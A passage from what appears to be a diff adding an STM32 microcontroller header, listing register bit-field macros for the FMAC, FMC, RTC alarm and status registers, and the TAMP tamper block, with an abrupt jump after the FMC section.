(0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define 